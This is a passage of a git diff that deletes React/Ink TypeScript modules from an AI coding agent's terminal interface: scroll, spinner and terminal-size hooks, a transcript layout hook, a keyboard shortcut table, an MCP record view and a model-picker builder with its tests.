now. -export function useScrollWindow(rowCount: number, visibleRows: number): ScrollWindow { - const maxOffset = maxRowOffset(rowCount, visibleRows); - const [rawOffset, setOffset] = useState(0); - const offset = Math.min(rawOffset, maxOffset); - const above = offset; - const below = Math.max(0, rowCount - offset - visibleRows); - - // Clamp the stored offset to the current max before paging so a shrink of - // the content (or of the viewport) does not force the operator to press - // PageUp multiple times just to reach the true top of the window. - const pageUp = (): void => - setOffset((o) => { - const current = Math.min(o, maxOffset); - return Math.max(0, current - visibleRows); - }); - const pageDown = (): void => - setOffset((o) => { - const current = Math.min(o, maxOffset); - return Math.min(maxOffset, current + visibleRows); - }); - - return { offset, maxOffset, above, below, pageUp, pageDown }; -} diff --git a/src/tui/hooks/use-scroll.ts b/src/tui/hooks/use-scroll.ts deleted file mode 100644 index 2e6e40369..000000000 --- a/src/tui/hooks/use-scroll.ts +++ /dev/null @@ -1,41 +0,0 @@ -import { useState } from "react"; - -export type ScrollController = { - scrollOffset: number; - scrollUp: (by?: number) => void; - scrollDown: (by?: number) => void; - scrollToBottom: () => void; - atBottom: boolean; -}; - -export type UseScrollArgs = { - maxOffset: number; -}; - -type ScrollState = { - storedOffset: number; - pinnedToBottom: boolean; -}; - -export function useScroll({ maxOffset }: UseScrollArgs): ScrollController { - const [state, setState] = useState({ storedOffset: 0, pinnedToBottom: true }); - - const scrollOffset = state.pinnedToBottom ? maxOffset : Math.min(state.storedOffset, maxOffset); - const atBottom = state.pinnedToBottom || scrollOffset >= maxOffset; - - return { - scrollOffset, - atBottom, - scrollUp: (by = 1) => { - const next = Math.max(0, scrollOffset - by); - setState({ storedOffset: next, pinnedToBottom: false }); - }, - scrollDown: (by = 1) => { - const next = Math.min(maxOffset, scrollOffset + by); - setState({ storedOffset: next, pinnedToBottom: next >= maxOffset }); - }, - scrollToBottom: () => { - setState((prev) => prev.pinnedToBottom ? prev : { ...prev, pinnedToBottom: true }); - }, - }; -} diff --git a/src/tui/hooks/use-spinner.test.ts b/src/tui/hooks/use-spinner.test.ts deleted file mode 100644 index 92a9df1d8..000000000 --- a/src/tui/hooks/use-spinner.test.ts +++ /dev/null @@ -1,31 +0,0 @@ -import { test, expect } from "bun:test"; -import { computeAnchor } from "./use-spinner.js"; - -// C2: the elapsed clock must not reset to zero on every brief re-arm. -// computeAnchor encapsulates the anchor computation so we can verify -// the cumulative-clock invariant without a React test harness. - -test("C2: anchor is approximately now when pausedElapsedMs is 0 (fresh start)", () => { - const before = Date.now(); - const anchor = computeAnchor(0); - const after = Date.now(); - // A fresh start computes anchor ≈ now (Date.now() - 0 = now). - expect(anchor).toBeGreaterThanOrEqual(before - 1); // 1 ms tolerance - expect(anchor).toBeLessThanOrEqual(after + 1); -}); - -test("C2: anchor is set in the past by pausedElapsedMs so the clock continues", () => { - const accumulatedMs = 5000; - const before = Date.now(); - const anchor = computeAnchor(accumulatedMs); - const after = Date.now(); - // Date.now() - anchor should equal ~accumulatedMs so elapsed resumes from 5 s. - const elapsed = Date.now() - anchor; - expect(elapsed).toBeGreaterThanOrEqual(accumulatedMs - 5); // 5 ms tolerance - expect(elapsed).toBeLessThanOrEqual(accumulatedMs + (after - before) + 5); -}); - -test("C2: computeAnchor returns a number", () => { - expect(typeof computeAnchor(0)).toBe("number"); - expect(typeof computeAnchor(1234)).toBe("number"); -}); diff --git a/src/tui/hooks/use-spinner.ts b/src/tui/hooks/use-spinner.ts deleted file mode 100644 index 3435898c6..000000000 --- a/src/tui/hooks/use-spinner.ts +++ /dev/null @@ -1,74 +0,0 @@ -import { useRef } from "react"; - -// Braille spinner — a smooth, low-noise glyph cycle that reads as "alive" -// without shouting. Eighty milliseconds per frame is fast enough to feel -// fluid, slow enough to stay calm. -export const SPINNER_FRAMES = ["⠋", "⠙", "⠹", "⠸", "⠼", "⠴", "⠦", "⠧", "⠇", "⠏"] as const; -export const SPINNER_FRAME_MS = 80; - -export type SpinnerTiming = { anchor: number | null }; - -// Computes the new start anchor so the elapsed clock is cumulative across -// re-arms. The anchor is set in the past by `pausedElapsedMs` so that -// Date.now() - anchor continues from the preserved value rather than resetting -// to zero. Exported for unit testing only. -export function computeAnchor(pausedElapsedMs: number): number { - return Date.now() - pausedElapsedMs; -} - -export function spinnerFrameIndex(now = Date.now()): number { - return Math.floor(now / SPINNER_FRAME_MS) % SPINNER_FRAMES.length; -} - -export function spinnerFrameAt(now = Date.now()): string { - return SPINNER_FRAMES[spinnerFrameIndex(now)] ?? SPINNER_FRAMES[0]!; -} - -export function elapsedMsFromAnchor(anchor: number | null, now = Date.now()): number { - return anchor === null ? 0 : Math.max(0, now - anchor); -} - -// Tracks cumulative elapsed timing for the in-flight row. Glyph animation runs -// inside InFlightIndicator so the rest of the tree is not repainted every frame. -// -// Elapsed is cumulative within a turn: brief pauses (e.g. between a tool -// result and the next model chunk) do not reset the counter. Going inactive -// snaps the display back to 0, but the accumulated value is preserved in a ref -// so the clock resumes correctly when active becomes true again within the same -// turn. -// -// `resetKey` identifies the current user turn. When resetKey changes, the -// accumulated elapsed is zeroed so a new turn always starts the clock fresh -// instead of inheriting the prior turn's running total. -// -export function useSpinner(active: boolean, resetKey?: number): SpinnerTiming { - const startRef = useRef(null); - const pausedElapsedRef = useRef(0); - const lastResetKeyRef = useRef(undefined); - const wasActiveRef = useRef(false); - - if (resetKey !== lastResetKeyRef.current) { - lastResetKeyRef.current = resetKey; - pausedElapsedRef.current = 0; - startRef.current = null; - } - - if (!active && wasActiveRef.current) { - if (startRef.current !== null) { - pausedElapsedRef.current = Date.now() - startRef.current; - } - startRef.current = null; - } - - if (active && !wasActiveRef.current) { - startRef.current = computeAnchor(pausedElapsedRef.current); - } - - wasActiveRef.current = active; - - if (!active) { - return { anchor: null }; - } - - return { anchor: startRef.current }; -} diff --git a/src/tui/hooks/use-terminal-size.ts b/src/tui/hooks/use-terminal-size.ts deleted file mode 100644 index 0e74b24e8..000000000 --- a/src/tui/hooks/use-terminal-size.ts +++ /dev/null @@ -1,69 +0,0 @@ -import { useStdout } from "ink"; -import { useEffect, useState } from "react"; - -export type TerminalSize = { columns: number; rows: number }; - -const FALLBACK_COLUMNS = 80; -const FALLBACK_ROWS = 24; -const RESIZE_DEBOUNCE_MS = 50; - -function readSize(stdout: NodeJS.WriteStream | undefined): TerminalSize { - return { - columns: stdout?.columns ?? FALLBACK_COLUMNS, - rows: stdout?.rows ?? FALLBACK_ROWS, - }; -} - -type DebouncedFunction void> = { - (...args: Parameters): void; - cleanup: () => void; -}; - -export function debounce void>( - fn: T, - delayMs: number -): DebouncedFunction { - let timeoutId: NodeJS.Timeout | undefined; - - const debouncedFn = (...args: Parameters) => { - if (timeoutId !== undefined) { - clearTimeout(timeoutId); - } - timeoutId = setTimeout(() => { - fn(...args); - timeoutId = undefined; - }, delayMs); - }; - - debouncedFn.cleanup = () => { - if (timeoutId !== undefined) { - clearTimeout(timeoutId); - timeoutId = undefined; - } - }; - - return debouncedFn; -} - -export function useTerminalSize(): TerminalSize { - const { stdout } = useStdout(); - const [size, setSize] = useState(() => readSize(stdout)); - - useEffect(() => { - if (stdout === undefined) return; - - const debouncedSetSize = debounce((): void => { - setSize(readSize(stdout)); - }, RESIZE_DEBOUNCE_MS); - - stdout.on("resize", debouncedSetSize); - debouncedSetSize(); - - return () => { - stdout.off("resize", debouncedSetSize); - debouncedSetSize.cleanup(); - }; - }, [stdout]); - - return size; -} diff --git a/src/tui/hooks/use-transcript-layout.ts b/src/tui/hooks/use-transcript-layout.ts deleted file mode 100644 index 52f64a8e4..000000000 --- a/src/tui/hooks/use-transcript-layout.ts +++ /dev/null @@ -1,299 +0,0 @@ -import { useLayoutEffect, useMemo, useRef, useState } from "react"; -import { - buildLinesIncremental, - buildResourceBanner, - clearMarkdownLineCache, - DEFAULT_MAX_RENDERED_LOG_LINES, - maxLineOffset, - resolveViewportExpandIds, - type IncrementalLinesState, - type RenderableBlock, -} from "../components/event-log.js"; -import type { StyledLine } from "../view/index.js"; -import { subAgentScrollWindow, subAgentTranscriptWidth, renderTranscriptLines } from "../components/subagent-session-view.js"; -import { useScroll, type ScrollController } from "./use-scroll.js"; -import type { AgentStreamView } from "../use-stream.js"; -import type { SubAgentSession } from "../../subagent/index.js"; - -function sortedSetKey(ids: ReadonlySet): string { - const values: string[] = []; - ids.forEach((id) => { - values.push(id); - }); - return values.sort().join("\x1f"); -} - -function sameStringSet(a: ReadonlySet, b: ReadonlySet): boolean { - if (a.size !== b.size) return false; - return sortedSetKey(a) === sortedSetKey(b); -} - -export type UseTranscriptLayoutArgs = { - state: AgentStreamView; - contentWidth: number; - thinkingExpanded: boolean; - expandedTools: ReadonlySet; - verbose: boolean; - visibleRows: number; - loadedSkills: readonly { name: string }[] | undefined; - activePlugins: readonly string[] | undefined; - cwd: string; - telemetryNotice: string | undefined; - whatsNewMarkdown: string | undefined; - enteredSession: SubAgentSession | undefined; -}; - -export type TranscriptLayoutController = { - eventLogLines: StyledLine[]; - scrollMaxOffset: number; - scroll: ScrollController; - enteredScroll: ScrollController; - activeScroll: ScrollController; - lastToolId: string | null; - viewportExpandedIds: Set; - setViewportExpandedIds: (ids: Set) => void; - prefixLineCount: number; - incrementalLinesRef: { current: IncrementalLinesState | undefined }; - baseLinesRef: { current: IncrementalLinesState | undefined }; -}; - -export function useTranscriptLayout({ - state, - contentWidth, - thinkingExpanded, - expandedTools, - verbose, - visibleRows, - loadedSkills, - activePlugins, - cwd, - telemetryNotice, - whatsNewMarkdown, - enteredSession, -}: UseTranscriptLayoutArgs): TranscriptLayoutController { - // Cleared when layout width or thinking expand change — those affect all blocks. - // Verbose no longer invalidates the cache: each block already keys collapsed vs - // expanded layouts separately, and Ctrl+O only expands a viewport-local subset. - const lineCacheRef = useRef(new Map()); - const baseLinesRef = useRef(undefined); - const incrementalLinesRef = useRef(undefined); - const lineCacheKeysRef = useRef({ contentWidth, thinkingExpanded }); - if ( - lineCacheKeysRef.current.contentWidth !== contentWidth || - lineCacheKeysRef.current.thinkingExpanded !== thinkingExpanded - ) { - lineCacheRef.current.clear(); - clearMarkdownLineCache(); - baseLinesRef.current = undefined; - incrementalLinesRef.current = undefined; - lineCacheKeysRef.current = { contentWidth, thinkingExpanded }; - } - - // Tools Ctrl+O expands for the current viewport (± buffer). Refreshed after - // scroll in a layout effect so line layout can depend on a stable Set. - const [viewportExpandedIds, setViewportExpandedIds] = useState>(() => new Set()); - - const explicitExpandKey = useMemo( - () => sortedSetKey(expandedTools), - [expandedTools], - ); - - const baseLayoutKey = useMemo( - () => [ - contentWidth, - thinkingExpanded ? "1" : "0", - explicitExpandKey, - String(state.currentPlanStep), - state.planDeviated ? "1" : "0", - ].join("|"), - [contentWidth, thinkingExpanded, explicitExpandKey, state.currentPlanStep, state.planDeviated], - ); - - const isExplicitlyExpanded = useMemo( - () => (block: RenderableBlock) => expandedTools.has(block.id), - [expandedTools], - ); - - // Collapsed layout (explicit Ctrl+R expands only). Reused as the display when - // verbose is off so toggling Ctrl+O does not throw away the warm incremental state. - const membershipBase = useMemo( - () => { - const next = buildLinesIncremental( - baseLinesRef.current, - state.contentBlocks, - contentWidth, - thinkingExpanded, - isExplicitlyExpanded, - lineCacheRef.current, - { currentStep: state.currentPlanStep, deviated: state.planDeviated }, - baseLayoutKey, - DEFAULT_MAX_RENDERED_LOG_LINES, - ); - baseLinesRef.current = next; - return next; - }, - // lineCacheRef is a stable ref — intentionally not in the dep array. - // eslint-disable-next-line react-hooks/exhaustive-deps - [state.displayRevision, baseLayoutKey, contentWidth, thinkingExpanded, isExplicitlyExpanded, state.currentPlanStep, state.planDeviated], - ); - - const resourceBanner = useMemo( - () => - buildResourceBanner( - loadedSkills ?? [], - activePlugins ?? [], - contentWidth, - cwd, - telemetryNotice, - whatsNewMarkdown, - ), - [loadedSkills, activePlugins, contentWidth, cwd, telemetryNotice, whatsNewMarkdown], - ); - - const prefixLineCount = - resourceBanner.length + (state.trimmedBlockCount > 0 ? 2 : 0); - - const viewportExpandKey = useMemo( - () => { - if (!verbose || viewportExpandedIds.size === 0) return ""; - return sortedSetKey(viewportExpandedIds); - }, - [verbose, viewportExpandedIds], - ); - - const linesLayoutKey = useMemo( - () => [ - baseLayoutKey, - verbose ? "1" : "0", - viewportExpandKey, - ].join("|"), - [baseLayoutKey, verbose, viewportExpandKey], - ); - - const isViewportExpanded = useMemo( - () => { - if (!verbose || viewportExpandedIds.size === 0) return isExplicitlyExpanded; - return (block: RenderableBlock) => - expandedTools.has(block.id) || viewportExpandedIds.has(block.id); - }, - [verbose, viewportExpandedIds, expandedTools, isExplicitlyExpanded], - ); - - const eventLogLines = useMemo( - () => { - let next: IncrementalLinesState; - if (!verbose) { - next = membershipBase; - incrementalLinesRef.current = next; - } else { - next = buildLinesIncremental( - incrementalLinesRef.current, - state.contentBlocks, - contentWidth, - thinkingExpanded, - isViewportExpanded, - lineCacheRef.current, - { currentStep: state.currentPlanStep, deviated: state.planDeviated }, - linesLayoutKey, - DEFAULT_MAX_RENDERED_LOG_LINES, - ); - incrementalLinesRef.current = next; - } - return state.trimmedBlockCount > 0 - ? [ - ...resourceBanner, - [ - { text: `↑ ${state.trimmedBlockCount} earlier message${state.trimmedBlockCount === 1 ? "" : "s"} trimmed to keep the session responsive`, dim: true }, - ] satisfies StyledLine, - [], - ...next.lines, - ] - : [...resourceBanner, ...next.lines]; - }, - // lineCacheRef is a stable ref — intentionally not in the dep array. - // eslint-disable-next-line react-hooks/exhaustive-deps - [state.displayRevision, state.trimmedBlockCount, membershipBase, linesLayoutKey, contentWidth, thinkingExpanded, verbose, isViewportExpanded, state.currentPlanStep, state.planDeviated, resourceBanner], - ); - const scrollMaxOffset = maxLineOffset(eventLogLines, visibleRows); - - const lastToolId = useMemo(() => { - const blocks = state.contentBlocks; - for (let i = blocks.length - 1; i >= 0; i--) { - if (blocks[i]?.type === "tool_call") return blocks[i]!.id; - } - return null; - }, [state.contentBlocks]); - - const scroll = useScroll({ maxOffset: scrollMaxOffset }); - - // The entered child view owns its own scroll: the parent transcript and the - // child transcript have unrelated line counts, so one shared offset would - // scroll the hidden parent while the child stayed pinned to its newest rows. - const enteredTranscriptLineCount = useMemo(() => { - if (enteredSession === undefined) return 0; - return renderTranscriptLines( - enteredSession.entries, - subAgentTranscriptWidth(contentWidth), - ).length; - }, [enteredSession, contentWidth]); - const enteredScrollMaxOffset = subAgentScrollWindow( - enteredTranscriptLineCount, - visibleRows, - 0, - ).maxOffset; - const enteredScroll = useScroll({ maxOffset: enteredScrollMaxOffset }); - const activeScroll = enteredSession !== undefined ? enteredScroll : scroll; - - // Ctrl+O expands tools intersecting the visible window. Membership uses the - // *display* layout (same line space as scrollOffset) so mid-scroll tracking - // stays correct after tools grow. Sticky hold + tool-count cap keep the set - // from thrashing or exploding under dense tool rows. Toggle seeds the set - // synchronously so the first verbose paint is already expanded. - useLayoutEffect(() => { - if (!verbose) { - if (viewportExpandedIds.size > 0) setViewportExpandedIds(new Set()); - return; - } - - const layout = incrementalLinesRef.current; - if (layout === undefined) return; - - const nextIds = resolveViewportExpandIds({ - blocks: layout.blocks, - blockLineStarts: layout.blockLineStarts, - lineCount: layout.lines.length, - prefixLineCount, - visibleRows, - scrollOffset: scroll.scrollOffset, - atBottom: scroll.atBottom, - previousIds: viewportExpandedIds, - }); - - if (sameStringSet(nextIds, viewportExpandedIds)) return; - setViewportExpandedIds(nextIds); - }, [ - verbose, - scroll.scrollOffset, - scroll.atBottom, - visibleRows, - // Recompute when either layout changes (content, expand set, prefix). - membershipBase, - eventLogLines, - prefixLineCount, - viewportExpandedIds, - ]); - - return { - eventLogLines, - scrollMaxOffset, - scroll, - enteredScroll, - activeScroll, - lastToolId, - viewportExpandedIds, - setViewportExpandedIds, - prefixLineCount, - incrementalLinesRef, - baseLinesRef, - }; -} diff --git a/src/tui/keymap-table.ts b/src/tui/keymap-table.ts deleted file mode 100644 index 5775306dc..000000000 --- a/src/tui/keymap-table.ts +++ /dev/null @@ -1,31 +0,0 @@ -export type ShortcutEntry = { keys: string; description: string }; - -export const SHORTCUTS: ShortcutEntry[] = [ - { keys: "Ctrl+C", description: "Exit (with confirm)" }, - { keys: "Ctrl+H", description: "Toggle hooks panel" }, - { keys: "Ctrl+T", description: "Toggle task panel" }, - { keys: "Ctrl+O", description: "Toggle expand tool output (visible area)" }, - { keys: "Ctrl+R", description: "Expand/collapse last tool" }, - { keys: "Ctrl+P", description: "Toggle tasks full-screen" }, - { keys: "Ctrl+G", description: "Toggle this help overlay" }, - { keys: "Alt+C", description: "Copy mode: pick a message, tool output, or diff (a = whole conversation)" }, - { keys: "Ctrl+E", description: "Agents strip: pick a sub-agent session to enter (observe)" }, - { keys: "SHIFT+TAB", description: "Toggle auto mode (constrained permission envelope)" }, - { keys: "Alt+← / Alt+→", description: "Move prompt cursor by word" }, - { keys: "Cmd+← / Cmd+→", description: "Move prompt cursor to line start/end" }, - { keys: "Ctrl+B / Ctrl+F", description: "Move prompt cursor by character" }, - { keys: "Ctrl+D", description: "Delete character at cursor" }, - { keys: "Ctrl+K / Ctrl+U", description: "Kill to line end / line start" }, - { keys: "Ctrl+W / Alt+D", description: "Kill word backward / forward (Alt+Backspace = backward)" }, - { keys: "Ctrl+Y / Alt+Y", description: "Yank last kill / cycle earlier kills" }, - { keys: "↑ / ↓", description: "Recall sent messages at prompt edges; scroll panes when empty" }, - { keys: "ESC", description: "Back / close overlay / leave sub-agent session" }, - { keys: "ESC ESC", description: "Clear prompt" }, -]; - -export const SLASH_COMMANDS: ShortcutEntry[] = [ - { keys: "/help", description: "Show the help overlay" }, - { keys: "/tasks", description: "Show the tasks panel" }, - { keys: "/model", description: "Connect providers, pick model, tiers, profiles" }, - { keys: "/permissions", description: "View and revoke remembered approvals" }, -]; diff --git a/src/tui/markdown-parser.ts b/src/tui/markdown-parser.ts index d941bafde..d7ee2305a 100644 --- a/src/tui/markdown-parser.ts +++ b/src/tui/markdown-parser.ts @@ -567,14 +567,13 @@ function renderKeyValue(cells: StyledSegment[][][]): StyledSegment[][] { // A table row is either a bordered GFM row (leading pipe) or a borderless row // whose cells are split by a spaced pipe. Escaped pipes (\|) are literal content // and a `||` is a logical-or operator, so neither counts as a cell separator. -// Exported so streaming-markdown open-table freeze uses the same heuristics. -export function looksLikeTableRow(line: string): boolean { +function looksLikeTableRow(line: string): boolean { const stripped = line.replace(/\\\|/g, ""); if (/\|\|/.test(stripped)) return false; return /^\s*\|/.test(stripped) || / \| /.test(stripped); } -export function isTableSeparator(line: string): boolean { +function isTableSeparator(line: string): boolean { return /^\s*\|?(?:\s*:?-{1,}:?\s*\|)+\s*:?-{1,}:?\s*\|?\s*$/.test(line); } diff --git a/src/tui/mcp-view.ts b/src/tui/mcp-view.ts deleted file mode 100644 index c322e65cf..000000000 --- a/src/tui/mcp-view.ts +++ /dev/null @@ -1,113 +0,0 @@ -import { recordScalar, type McpRecords } from "./mcp-result-format.js"; -import type { Tone, ViewNode } from "./view/spec.js"; - -// Convert MCP results into view nodes using only generic layout primitives. -// This keeps structures dynamic (agent composes the same way) and avoids any -// hardcoded widget catalog. We use grid for tabular record lists and a stack -// of rows for single-record detail so the output is aligned and readable. - -const NAME_FIELDS = ["name", "title", "identifier", "label", "key", "summary"]; -const STATUS_FIELDS = ["status", "state"]; -const PRIORITY_FIELDS = ["priority"]; -const TEAM_FIELDS = ["team"]; -const TARGET_FIELDS = ["targetDate", "target", "dueDate"]; - -const DETAIL_ORDER = ["status", "state", "priority", "team", "lead", "assignee", "startDate", "targetDate", "dueDate", "url", "description", "summary"]; -const DETAIL_HIDE = new Set(["id", "createdAt", "updatedAt", "archivedAt", "completedAt", "canceledAt", "icon", "color", "slug"]); -const TITLE_FIELDS = ["name", "title", "identifier", "label", "key"]; -const DATE_KEYS = new Set(["startDate", "targetDate", "dueDate"]); - -function firstScalar(record: Record, fields: string[]): string | undefined { - for (const f of fields) { - const v = recordScalar(record, f); - if (v !== null && v.length > 0) return v; - } - return undefined; -} - -function humanizeField(key: string): string { - return key.replace(/([a-z])([A-Z])/g, "$1 $2").replace(/_/g, " ").replace(/^./, (c) => c.toUpperCase()); -} - -function statusTone(value: string): Tone { - const v = value.toLowerCase(); - if (/(done|complete|merged|closed|active)/.test(v)) return "success"; - if (/(progress|started|review)/.test(v)) return "accent"; - if (/(cancel|block|fail|reject)/.test(v)) return "danger"; - return "muted"; -} - -function priorityTone(value: string): Tone { - const v = value.toLowerCase(); - if (v === "urgent") return "danger"; - if (v === "high") return "warning"; - if (v === "medium") return "accent"; - return "muted"; -} - -function textNode(t: string, tone?: Tone, bold?: boolean): ViewNode { - return { type: "text", text: t, ...(tone ? { tone } : {}), ...(bold ? { bold: true } : {}) }; -} - -export function mcpRecordsToView(records: McpRecords): ViewNode { - // Build a header + data rows using grid for alignment (no "table" widget). - const hasStatus = records.items.some((r) => firstScalar(r, STATUS_FIELDS)); - const hasPriority = records.items.some((r) => firstScalar(r, PRIORITY_FIELDS)); - const hasTeam = records.items.some((r) => firstScalar(r, TEAM_FIELDS)); - const hasTarget = records.items.some((r) => firstScalar(r, TARGET_FIELDS)); - - type ColDef = { key: string; header: string; get: (r: Record, i: number) => string; tone?: (v: string) => Tone }; - const colDefs: ColDef[] = [ - { key: "#", header: "#", get: (_r, i) => String(i + 1) }, - { key: "name", header: "Name", get: (r) => firstScalar(r, NAME_FIELDS) ?? "" }, - ]; - if (hasStatus) colDefs.push({ key: "status", header: "Status", get: (r) => firstScalar(r, STATUS_FIELDS) ?? "", tone: statusTone }); - if (hasPriority) colDefs.push({ key: "priority", header: "Priority", get: (r) => firstScalar(r, PRIORITY_FIELDS) ?? "", tone: priorityTone }); - if (hasTeam) colDefs.push({ key: "team", header: "Team", get: (r) => firstScalar(r, TEAM_FIELDS) ?? "" }); - if (hasTarget) colDefs.push({ key: "target", header: "Target", get: (r) => { const v = firstScalar(r, TARGET_FIELDS) ?? ""; return v.length > 10 ? v.slice(0, 10) : v; } }); - - const headerRow: ViewNode[] = colDefs.map((d) => textNode(d.header, "muted", true)); - const dataRows: ViewNode[][] = records.items.map((rec, i) => - colDefs.map((d) => { - const v = d.get(rec, i); - const t = d.tone ? d.tone(v) : undefined; - return textNode(v, t); - }), - ); - - return { - type: "grid", - columns: colDefs.map((d) => ({ align: d.key === "#" ? "right" : "left" })), - rows: [headerRow, ...dataRows], - }; -} - -export function mcpRecordToView(record: Record): ViewNode { - const titleKey = TITLE_FIELDS.find((f) => (recordScalar(record, f) ?? "").length > 0); - const title = titleKey !== undefined ? recordScalar(record, titleKey) ?? undefined : undefined; - - const present = Object.keys(record).filter( - (k) => k !== titleKey && !DETAIL_HIDE.has(k) && (recordScalar(record, k) ?? "").length > 0, - ); - const ordered = [...DETAIL_ORDER.filter((k) => present.includes(k)), ...present.filter((k) => !DETAIL_ORDER.includes(k))]; - - const children: ViewNode[] = []; - if (title) children.push(textNode(title, "accent", true)); - - for (const key of ordered) { - const raw = recordScalar(record, key) ?? ""; - const value = DATE_KEYS.has(key) ? raw.slice(0, 10) : raw; - const tone: Tone | undefined = - key === "status" || key === "state" ? statusTone(value) : key === "priority" ? priorityTone(value) : undefined; - const label = humanizeField(key); - // Use a row of two texts for "Label value" alignment within the record. - children.push({ - type: "row", - gap: 1, - children: [textNode(label, "muted"), textNode(value, tone)], - }); - } - - // Wrap in a stack (optionally a box if we want visual group; start without border to keep compact) - return { type: "stack", gap: 0, children }; -} diff --git a/src/tui/message-types.ts b/src/tui/message-types.ts deleted file mode 100644 index 4c965a8d7..000000000 --- a/src/tui/message-types.ts +++ /dev/null @@ -1,6 +0,0 @@ -import type { PendingImageAttachment } from "./image-attachments.js"; - -export type OutboundUserMessage = { - text: string; - attachments: PendingImageAttachment[]; -}; diff --git a/src/tui/model-picker.test.ts b/src/tui/model-picker.test.ts deleted file mode 100644 index bb46f74ed..000000000 --- a/src/tui/model-picker.test.ts +++ /dev/null @@ -1,136 +0,0 @@ -import { describe, test, expect } from "bun:test"; - -import { buildModelsFirstList, type ModelPickerProvider } from "./model-picker.js"; - -const xai: ModelPickerProvider = { - name: "xai", - label: "xAI", - models: ["grok-4", "grok-3"], - account: "thegreataxios", -}; - -const zen: ModelPickerProvider = { - name: "zen", - label: "OpenCode Zen", - models: ["kimi-k2.7-code", "claude-sonnet-4-5"], - baseURL: "https://opencode.ai/zen/v1", -}; - -const go: ModelPickerProvider = { - name: "opencode-go", - label: "OpenCode Go", - models: ["kimi-k2.7-code", "glm-5"], - opencodeGo: true, -}; - -describe("buildModelsFirstList", () => { - test("orders Recent, then Favorites, then provider buckets", () => { - const list = buildModelsFirstList({ - providers: [xai, zen], - recent: [{ provider: "zen", model: "claude-sonnet-4-5" }], - favorites: [{ provider: "xai", model: "grok-4" }], - }); - - expect(list.map((r) => `${r.section}:${r.provider}/${r.model}`)).toEqual([ - "recent:zen/claude-sonnet-4-5", - "favorites:xai/grok-4", - "provider:xai/grok-3", - "provider:zen/kimi-k2.7-code", - ]); - }); - - test("drops recent entries whose model no longer exists on the provider", () => { - const list = buildModelsFirstList({ - providers: [xai], - recent: [ - { provider: "xai", model: "gone-model" }, - { provider: "xai", model: "grok-4" }, - ], - favorites: [], - }); - - expect(list.filter((r) => r.section === "recent")).toEqual([ - { - provider: "xai", - model: "grok-4", - section: "recent", - providerLabel: "xAI", - account: "thegreataxios", - }, - ]); - }); - - test("skips favorites already covered by recent", () => { - const list = buildModelsFirstList({ - providers: [xai], - recent: [{ provider: "xai", model: "grok-4" }], - favorites: [{ provider: "xai", model: "grok-4" }], - }); - - expect(list.filter((r) => r.provider === "xai" && r.model === "grok-4")).toEqual([ - { - provider: "xai", - model: "grok-4", - section: "recent", - providerLabel: "xAI", - account: "thegreataxios", - }, - ]); - }); - - test("skips provider-bucket models already shown in recent or favorites", () => { - const list = buildModelsFirstList({ - providers: [xai], - recent: [{ provider: "xai", model: "grok-4" }], - favorites: [{ provider: "xai", model: "grok-3" }], - }); - - expect(list.filter((r) => r.section === "provider")).toEqual([]); - expect(list.map((r) => r.section)).toEqual(["recent", "favorites"]); - }); - - test("caps recent at recentMax (default 5)", () => { - const many = Array.from({ length: 8 }, (_, i) => ({ - provider: "xai", - model: `m${i}`, - })); - const provider: ModelPickerProvider = { - name: "xai", - models: many.map((r) => r.model), - }; - const list = buildModelsFirstList({ - providers: [provider], - recent: many, - favorites: [], - }); - - expect(list.filter((r) => r.section === "recent")).toHaveLength(5); - }); - - test("attaches zen-path warning when predicate returns true", () => { - const list = buildModelsFirstList({ - providers: [zen, go], - recent: [{ provider: "zen", model: "kimi-k2.7-code" }], - favorites: [], - isGoModelOnZenPath: (model, provider) => - model === "kimi-k2.7-code" && provider.name === "zen", - }); - - const recent = list.find((r) => r.section === "recent"); - expect(recent?.warning).toMatch(/Go model on Zen path/); - - const goRow = list.find( - (r) => r.section === "provider" && r.provider === "opencode-go" && r.model === "kimi-k2.7-code", - ); - expect(goRow?.warning).toBeUndefined(); - }); - - test("uses provider name as label when label is unset", () => { - const list = buildModelsFirstList({ - providers: [{ name: "custom", models: ["m1"] }], - recent: [], - favorites: [], - }); - expect(list[0]?.providerLabel).toBe("custom"); - }); -}); diff --git a/src/tui/model-picker.ts b/src/tui/model-picker.ts deleted file mode 100644 index 7a432af33..000000000 --- a/src/tui/model-picker.ts +++ /dev/null @@ -1,115 +0,0 @@ -import type { ModelRef } from "../config/settings.js"; -import { DEFAULT_RECENT_MODELS_SHOWN } from "../config/settings.js"; - -export type ModelPickSection = "recent" | "favorites" | "provider"; - -export type ModelPick = { - provider: string; - model: string; - section: ModelPickSection; - providerLabel?: string; - account?: string; - warning?: string; -}; - -export type ModelPickerProvider = { - name: string; - models: string[]; - defaultModel?: string; - codexProfile?: string; - xaiProfile?: string; - opencodeGo?: boolean; - baseURL?: string; - /** Display name for the provider bucket / row (falls back to `name`). */ - label?: string; - /** Account or profile label when known (e.g. OAuth login name). */ - account?: string; -}; - -export type BuildModelsFirstListArgs = { - providers: ModelPickerProvider[]; - recent: ModelRef[]; - favorites: ModelRef[]; - /** Max recent rows (default 5). */ - recentMax?: number; - /** - * When true for a model on a provider, attach a cross-product billing warning - * (Go model configured on a Zen-billed path). - */ - isGoModelOnZenPath?: (model: string, provider: ModelPickerProvider) => boolean; -}; - -const GO_ON_ZEN_WARNING = "Go model on Zen path — billed as Zen credits"; - -function refKey(provider: string, model: string): string { - return `${provider}\0${model}`; -} - -function modelExistsOnProvider( - providers: ModelPickerProvider[], - provider: string, - model: string, -): ModelPickerProvider | undefined { - const p = providers.find((x) => x.name === provider); - if (p === undefined) return undefined; - return p.models.includes(model) ? p : undefined; -} - -function pickRow( - provider: ModelPickerProvider, - model: string, - section: ModelPickSection, - isGoModelOnZenPath?: (model: string, provider: ModelPickerProvider) => boolean, -): ModelPick { - const warning = - isGoModelOnZenPath?.(model, provider) === true ? GO_ON_ZEN_WARNING : undefined; - return { - provider: provider.name, - model, - section, - providerLabel: provider.label ?? provider.name, - ...(provider.account !== undefined ? { account: provider.account } : {}), - ...(warning !== undefined ? { warning } : {}), - }; -} - -/** - * Models-first picker rows: Recent (still-valid, capped) → Favorites (not already - * in Recent) → each connected provider's models (skipping pairs already listed). - * Identity is provider+model. - */ -export function buildModelsFirstList(args: BuildModelsFirstListArgs): ModelPick[] { - const recentMax = args.recentMax ?? DEFAULT_RECENT_MODELS_SHOWN; - const seen = new Set(); - const out: ModelPick[] = []; - - for (const ref of args.recent) { - if (out.filter((r) => r.section === "recent").length >= recentMax) break; - const provider = modelExistsOnProvider(args.providers, ref.provider, ref.model); - if (provider === undefined) continue; - const key = refKey(ref.provider, ref.model); - if (seen.has(key)) continue; - seen.add(key); - 